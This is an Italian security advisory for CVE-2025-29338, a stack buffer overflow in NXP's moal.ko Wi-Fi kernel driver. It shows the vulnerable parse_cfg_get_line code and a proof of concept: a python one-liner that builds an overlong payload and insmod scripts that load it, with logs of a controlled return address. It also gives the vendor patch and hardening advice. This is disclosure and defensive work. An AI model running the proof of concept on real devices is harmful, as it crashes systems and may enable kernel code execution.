
woal_setup_module_param / parse_cfg_get_line)| Campo | Valore |
|---|---|
| ID CVE | CVE-2025-29338 |
| Gravità | Alta |
| Punteggio CVSS v3.1 | 7.8 |
| Vettore CVSS v3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Tipo di vulnerabilità | Buffer overflow basato su stack (CWE-121) |
| Vettore di attacco | Locale |
| Fornitore | NXP Semiconductors |
| Stato della patch del fornitore | Patch applicata |
| Scopritore | Mahmoud Jadaan — diconium auto GmbH |
Esiste una vulnerabilità di buffer overflow basato su stack nel driver del kernel Wi-Fi NXP moal.ko (versione 5.1.7.10) nelle build del firmware dalla v17.92.1.p149.43 alla v17.92.1.p149.157. La vulnerabilità si trova in parse_cfg_get_line (mlinux/moal_init.c), chiamata da woal_setup_module_param. Il ciclo while che legge le righe del file di configurazione in un buffer di stack a dimensione fissa non dispone di un controllo dei limiti di destinazione, consentendo a una riga di lunghezza arbitraria di far eccedere il buffer, corrompere lo stack e causare un kernel panic. NXP PSIRT ha confermato la vulnerabilità e la correzione è stata rilasciata.
woal_setup_module_param alloca un buffer di stack fisso di MAX_LINE_LEN byte e lo passa a parse_cfg_get_line a ogni iterazione durante l'elaborazione del file di configurazione mod_para:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
Nella revisione vulnerabile di parse_cfg_get_line, la condizione del ciclo while controlla solo la posizione sorgente e i terminatori di riga — non c'è alcun controllo su quanti byte sono stati scritti nel buffer di destinazione:
// parse_cfg_get_line — versione vulnerabile (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // scrittura senza controllo — nessun controllo dei limiti di destinazione
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
Una riga del file di configurazione più lunga di MAX_LINE_LEN byte fa sì che dest avanzi oltre la fine del buffer di stack del chiamante, sovrascrivendo la memoria di stack adiacente, inclusi il frame pointer salvato e l'indirizzo di ritorno.
Il driver viene caricato all'avvio del sistema tramite insmod con il parametro mod_para che punta a un file di configurazione. Un attaccante in grado di scrivere un file di configurazione appositamente predisposto e di ricaricare il modulo del kernel può innescare il buffer overflow.
| Impatto | Descrizione |
|---|---|
| Denial of Service | Kernel panic — confermato; provoca il riavvio immediato del sistema |
| Corruzione della memoria del kernel | Lo stack smashing sovrascrive il salvato e l'indirizzo di ritorno |
Punteggio Base: 7.8 (Alto)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Fornito esclusivamente a scopo difensivo e di ricerca.
#!/bin/sh
rmmod moal
rmmod mlan
Il buffer di stack viene riempito con A, seguito da 8 byte per lo slot dello stack canary (B), 8 byte per il rbp salvato (C) e 8 byte per sovrascrivere l'indirizzo di ritorno (D):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
Il percorso di mod_para deve essere relativo alla directory in cui il kernel cerca il firmware (tipicamente /lib/firmware/). Costruire il percorso di conseguenza:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
Un kernel panic viene innescato immediatamente durante l'inizializzazione del modulo. I log del kernel confermano che l'indirizzo di ritorno viene sovrascritto con 0x4444444444444444 (ASCII DDDDDDDD), dimostrando il pieno controllo del puntatore d'istruzione:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
NXP PSIRT ha confermato la vulnerabilità e ha fornito la seguente patch per mlinux/moal_init.c. La correzione aggiunge un controllo dei limiti all'interno del ciclo di parse_cfg_get_line per uscire prima di superare MAX_LINE_LEN:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
Aggiornare a una versione del firmware successiva alla v17.92.1.p149.157 che includa la patch sopra indicata. Come ulteriore hardening:
CAP_SYS_MODULE agli amministratori fidati; applicare restrizioni sulle syscall init_module / finit_module tramite SELinux, AppArmor o seccomp.mod_para e i file a cui punta siano scrivibili solo da root.NXP PSIRT ha confermato la vulnerabilità. La correzione è stata rilasciata come parte di un aggiornamento software formale.
Scopritore: Mahmoud Jadaan — diconium auto GmbH
Questo avviso di sicurezza è pubblicato come riferimento pubblico per soddisfare i requisiti minimi di divulgazione CVE secondo il programma CVE.
| Campo | Dettaglio |
|---|
| Fornitore | NXP Semiconductors |
| Componente | driver del kernel Wi-Fi moal.ko |
| Versione del driver | 5.1.7.10 |
| Firmware — prima versione interessata | v17.92.1.p149.43 |
| Firmware — ultima versione interessata | v17.92.1.p149.157 |
| Attributo | Valore |
|---|
| Tipo | Locale |
| Privilegi richiesti | CAP_SYS_MODULE (root o equivalente) |
| Interazione utente | Nessuna |
| Superficie di attacco | parametro del modulo kernel mod_para (percorso del file di configurazione) |
rbp| Potenziale esecuzione di codice | Indirizzo di ritorno controllato — potrebbe essere possibile l'esecuzione arbitraria di codice in modalità kernel, a seconda delle mitigazioni presenti (stack canary, KASLR, ecc.) |
| Metrica | Valore | Motivazione |
|---|
| Vettore di attacco (AV) | Locale (L) | Richiede accesso locale al sistema |
| Complessità di attacco (AC) | Bassa (L) | Nessuna condizione di race o prerequisiti complessi |
| Privilegi richiesti (PR) | Alti (H) | Richiede CAP_SYS_MODULE / root |
| Interazione utente (UI) | Nessuna (N) | Completamente controllato dall'attaccante |
| Scope (S) | Invariato (U) | L'impatto rimane nel contesto del kernel |
| Riservatezza (C) | Alta (H) | Memoria del kernel potenzialmente leggibile |
| Integrità (I) | Alta (H) | Sovrascrittura dell'indirizzo di ritorno dimostrata |
| Disponibilità (A) | Alta (H) | Kernel panic / riavvio confermato |